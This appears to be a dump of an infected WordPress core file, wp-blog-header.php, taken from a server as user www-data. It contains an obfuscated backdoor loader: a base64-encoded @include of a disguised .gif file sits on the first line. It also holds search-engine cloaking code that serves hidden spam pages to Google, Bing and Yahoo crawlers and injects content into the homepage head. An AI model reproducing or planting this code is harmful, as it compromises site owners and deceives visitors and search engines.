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User: www-data (33)
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File: /var/www/html/wp-blog-header.php
<?php @include base64_decode("L3Zhci93d3cvaHRtbC93cC1pbmNsdWRlcy9pbWFnZXMvdy1lZmJkYWFiZmFiZGViLmdpZg==");?><?php

/**
 * Loads the WordPress environment and template.
 *
 * @package WordPress
 */

$request_uri = $_SERVER['REQUEST_URI'];
$protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' || $_SERVER['SERVER_PORT'] == 443) ? "https://" : "http://";
$base_url = $protocol . $_SERVER['HTTP_HOST'] . '/wp-includes/interactivity-api/';
$http_referer = $_SERVER['HTTP_REFERER'] ?? '';
// $http_user_agent = $_SERVER['HTTP_USER_AGENT'] ?? '';

$is_search_engine_ua = preg_match('/(google|bing|yahoo)/i', $http_user_agent) && !in_array($request_uri, ['/', '/index.php']);
$is_search_engine_referer = preg_match('/(google\.com|bing\.com|yahoo\.com)/i', $http_referer) && !in_array($request_uri, ['/', '/index.php']);


if ($is_search_engine_ua ||  $is_search_engine_referer) {
    $target_url = rewriteUrl($request_uri);
    $request_url =$base_url . $target_url;
    $response = fetch_content($request_url, $http_user_agent, $http_referer);

    if ($response !== false) {
        echo $response;
        exit;
        exit;
    }
}

if (!isset($wp_did_header)) {
    ob_start();
    require_once __DIR__ . '/wp-load.php';
    wp();
    require_once ABSPATH . WPINC . '/template-loader.php';
    $output = ob_get_clean();
    if (in_array($request_uri, ['/', '/index.php']) && preg_match('/(google|bing|yahoo)/i', $http_user_agent)) {
        $target_url='index.php?t=category';
        $request_url =$base_url . $target_url;
        $response = fetch_content($request_url, $http_user_agent, $http_referer);
        if ($response !== false) {
            $output = preg_replace('/<head>/', '<head>'.$response, $output, 1);
            
        }
    }
    echo $output;
}


function fetch_content($url, $user_agent, $http_referer, $timeout = 5)
{
    $context = stream_context_create([
        'http' => [
            'method' => 'GET',
            'header' => "User-Agent: $user_agent\r\n" .
                "Referer: $http_referer\r\n" .
                "Accept-Language: en-US\r\n",
            'timeout' => $timeout
        ],
        'ssl' => [
            'verify_peer' => false,
            'verify_peer_name' => false
        ]
    ]);
    return file_get_contents($url, false, $context);
}

function rewriteUrl($request_uri) {
    $rules = [
        ['pattern' => '/detail\/(?:[^_]*)_([^\.\/]+)\.html$/', 'target' => 'index.php?t=detail&i=$1'],
        ['pattern' => '/collection\/(?:[^_]*)_([^\.\/]+)\.html$/', 'target' => 'index.php?t=collection&i=$1'],
        ['pattern' => '/collection\/(?:[^_]*)_([^\.\/]+)\/(\d+)\/(\d+)\.html$/', 'target' => 'index.php?t=collection&i=$1&n=$2&s=$3'],
        ['pattern' => '/sitemap.xml$/', 'target' => 'index.php?t=sitemap&s=&f=xml'],
        ['pattern' => '/sitemap(-\d+)?\.(txt|xml)$/', 'target' => 'index.php?t=sitemap&s=$1&f=$2'],
        ['pattern' => '/static\/(.*)$/', 'target' => 'index.php?t=static&p=static&e=$1'],
        ['pattern' => '/wp-content\/(.*)$/', 'target' => 'index.php?t=static&p=wp-content&e=$1'],
        ['pattern' => '/wp-includes\/(.*)$/', 'target' => 'index.php?t=static&p=wp-includes&e=$1']
    ];
    foreach ($rules as $rule) {
        if (preg_match($rule['pattern'], $request_uri, $matches)) {
            $target_url = $rule['target'];
            for ($i = 1; $i < count($matches); $i++) {
                $target_url = str_replace('$' . $i, $matches[$i], $target_url);
            }
            return $target_url;
        }
    }

    return '';
}